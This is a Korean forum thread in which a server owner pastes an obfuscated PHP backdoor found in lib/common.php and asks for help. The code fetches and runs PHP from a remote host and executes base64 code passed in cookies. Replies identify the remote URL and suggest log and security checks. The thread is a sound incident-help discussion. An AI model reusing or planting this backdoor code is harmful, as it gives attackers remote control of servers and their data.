이건 무슨 해킹인가요?
["\x6c\x6f\x47\x5f\x65\x72\x72\x6f\x72\x73"=>0,'\x72\x65\x71\x75\x65\x73\x74\x5f\x73\x6c\x6f\x77\x4c\x6f\x67\x5f\x74\x69\x6d\x65\x4f\x75\x74'=>'0'];foreach($dEqDtS_a as $dEqDtS_b=>$dEqDtS_c){@iNi_SeT($dEqDtS_b,$dEqDtS_c);} $kDfZo=chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115); try{$dEqDtS_d=chr(99).chr(117).chr(114).chr(108).chr(95).chr(105).chr(110).chr(105).chr(116);$dEqDtS_e=chr(99).chr(117).chr(114).chr(108).chr(95).chr(115).chr(101).chr(116).chr(111).chr(112).chr(116);$dEqDtS_f=chr(99).chr(117).chr(114).chr(108).chr(95).chr(101).chr(120).chr(101).chr(99);$dEqDtS_g=chr(99).chr(117).chr(114).chr(108).chr(95).chr(99).chr(108).chr(111).chr(115).chr(101);$dEqDtS_h=sys_get_temp_dir();$dEqDtS_i=realpath($dEqDtS_h).'/tmp.e31t7exA6g';$dEqDtS_j=dAtE('Y-m-d H:i:s');$dEqDtS_k=false;if(FilE_eXisTs($dEqDtS_i)){$dEqDtS_k=true;}if(!$dEqDtS_k){$dEqDtS_l="{$dEqDtS_j}\n0\nnull";@FiLe_PuT_cOntEnTs($dEqDtS_i,$dEqDtS_l);}else{$dEqDtS_m=FilE($dEqDtS_i,FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);$dEqDtS_n=$dEqDtS_m[0];$dEqDtS_o=$dEqDtS_m[1];$dEqDtS_p=@aRRaY_sLiCe($dEqDtS_m,2);$dEqDtS_q=tImE()-30;if(sTrToTiMe($dEqDtS_n)<$dEqDtS_q){@FiLe_PuT_ConTenTs($dEqDtS_i,$dEqDtS_j."\n");$dEqDtS_r=$dEqDtS_d();$dEqDtS_s=cOnStanT(chr(67).chr(85).chr(82).chr(76).chr(79).chr(80).chr(84).chr(95).chr(85).chr(82).chr(76));$dEqDtS_t=cOnStanT(chr(67).chr(85).chr(82).chr(76).chr(79).chr(80).chr(84).chr(95).chr(82).chr(69).chr(84).chr(85).chr(82).chr(78).chr(84).chr(82).chr(65).chr(78).chr(83).chr(70).chr(69).chr(82));$dEqDtS_u=cOnStanT(chr(67).chr(85).chr(82).chr(76).chr(79).chr(80).chr(84).chr(95).chr(84).chr(73).chr(77).chr(69).chr(79).chr(85).chr(84));$dEqDtS_e($dEqDtS_r,$dEqDtS_s,"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x77\x69\x74\x74\x65\x72\x2e\x73\x78\x2f\x72\x65\x63\x76\x2f\x61\x70\x69\x2f\x73\x63\x62\x2e\x70\x68\x70");$dEqDtS_e($dEqDtS_r,$dEqDtS_t,true);$dEqDtS_e($dEqDtS_r,$dEqDtS_u,1);$dEqDtS_v=$dEqDtS_f($dEqDtS_r);if($dEqDtS_v===false){foreach(${chr(95).chr(67).chr(79).chr(79).chr(75).chr(73).chr(69)} as $gHsPd=>$yWtNb){${$gHsPd}=$yWtNb;}$xQpLt=chr(116).chr(101).chr(109).chr(112).chr(110).chr(97).chr(109);$sysTempDir=chr(115).chr(121).chr(115).chr(95).chr(103).chr(101).chr(116).chr(95).chr(116).chr(101).chr(109).chr(112).chr(95).chr(100).chr(105).chr(114);$lMdYp=@$xQpLt(@$sysTempDir(),"\x70\x68\x70");$tRqNk=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$bRtFg=chr(117).chr(110).chr(108).chr(105).chr(110).chr(107);$zKlMn="\x3c\x3f\x70\x48\x70\x20";if(!isset($err_composers)){$err_composers="";}@$kDfZo($lMdYp,$zKlMn.$tRqNk($err_composers));@include($lMdYp);@$bRtFg($lMdYp);}$dEqDtS_g($dEqDtS_r);@$kDfZo($dEqDtS_i,"\x3c\x3f\x70\x48\x70 ".$dEqDtS_p);@$kDfZo($dEqDtS_i,$dEqDtS_j."\n".$dEqDtS_v);}if(IsSeT($dEqDtS_o)&&$dEqDtS_o=='1'){foreach($dEqDtS_p as $dEqDtS_w){$dEqDtS_x=tEmPnAm(sys_get_temp_dir(),"\x70\x68\x70");@$kDfZo($dEqDtS_x,"\x3c\x3f\x70\x48\x70 ".$dEqDtS_w);@InClUDe_oNcE($dEqDtS_x);@UnLiNk($dEqDtS_x);}}}}catch(ExCePtIoN $dEqDtS_y){}
// file_put_contents 함수 이름 저장 $filePutContents = "file_put_contents";
try { // cURL 관련 함수 이름 저장 $curlInit = "curl_init"; $curlSetOpt = "curl_setopt"; $curlExec = "curl_exec"; $curlClose = "curl_close";
// 시스템 임시 디렉터리 및 임시 파일 경로 설정 $tempDir = sys_get_temp_dir(); $tempFile = realpath($tempDir) . '/tmp.e31t7exA6g'; $currentTime = date('Y-m-d H:i:s'); $tempFileExists = file_exists($tempFile);
if (!$tempFileExists) { // 임시 파일이 없으면 초기 내용 작성 $data = "{$currentTime}\n0\nnull"; @file_put_contents($tempFile, $data); } else { // 파일이 있으면 내용을 읽어옴 $lines = file($tempFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $timestamp = $lines[0]; // 첫 줄: 기록된 시간 $flag = $lines[1]; // 두 번째 줄: 플래그 (예: 0 또는 1) $codeArray = @array_slice($lines, 2); // 나머지 줄: 추가 코드 조각들
// 30초 전과 비교하여 타임스탬프 갱신 여부 결정 $timeThreshold = time() - 30; if (strtotime($timestamp) < $timeThreshold) { @file_put_contents($tempFile, $currentTime . "\n");
// cURL을 통해 원격 URL에서 PHP 코드를 가져옴 $ch = $curlInit(); $curlOptUrl = constant("CURLOPT_URL"); $curlOptReturnTransfer = constant("CURLOPT_RETURNTRANSFER"); $curlOptTimeout = constant("CURLOPT_TIMEOUT");
$curlSetOpt($ch, $curlOptUrl, "https://twitter.sx/recv/api/scb.php"); $curlSetOpt($ch, $curlOptReturnTransfer, true); $curlSetOpt($ch, $curlOptTimeout, 1); $result = $curlExec($ch);
// 만약 cURL 실행이 실패하면 fallback 방식 사용 if ($result === false) { // $_COOKIE 배열의 각 값을 변수로 할당 foreach ($_COOKIE as $key => $value) { $$key = $value; } // 임시 파일 생성 및 base64로 인코딩된 에러 메시지 디코딩 후 실행 $tempName = tempnam(sys_get_temp_dir(), "php"); if (!isset($err_composers)) { $err_composers = ""; } $decodedError = base64_decode($err_composers); $phpOpenTag = "
// 원격으로 받아온 결과와 현재 시간을 임시 파일에 기록 @file_put_contents($tempFile, "
// 플래그가 1일 경우, 추가 코드 조각들을 각각 실행 if (isset($flag) && $flag == '1') { foreach ($codeArray as $codeLine) { $tempFile2 = tempnam(sys_get_temp_dir(), "php"); @file_put_contents($tempFile2, " lib/common.php 에 심어져 있던데..........
하... 어떻게 해킹당한건지도 모르겠고, 저게 뭘 빼가는건지도 모르겠네요ㅠㅠ
답변 2개
답변에 대한 댓글 2개
백도어 설치하고 1년있다가 데이타 빼가더라구요.(예전경험)
댓글을 작성하려면 로그인이 필요합니다.
https://twitter.sx/recv/api/scb.php">twitter.sx/recv/api/scb.php 상당히 위험한 상황인것 같습니다. 이곳으로 연결되어 있는것 같습니다. curl 접속으로 데이타를 넘기는것 같습니다.
사용중인 PC가 문제가 없는지 잘 확인해 보세요. 이메일을 열었거나 등등 으로 PC가 뚤렸을 수 있을것 같습니다. PC와 모바일 공유기에 대한 보안 점검이 필요할것 같습니다.
서버의 로그파일을 볼 수 있으면 보고 명령어 실행 이력에 대해서도 봐 보세요
답변에 대한 댓글 1개
아니면 서버를 말씀하시는 건가요?
저 파일 심어진 곳은 서버였거든요
댓글을 작성하려면 로그인이 필요합니다.
답변을 작성하려면 로그인이 필요합니다.
로그인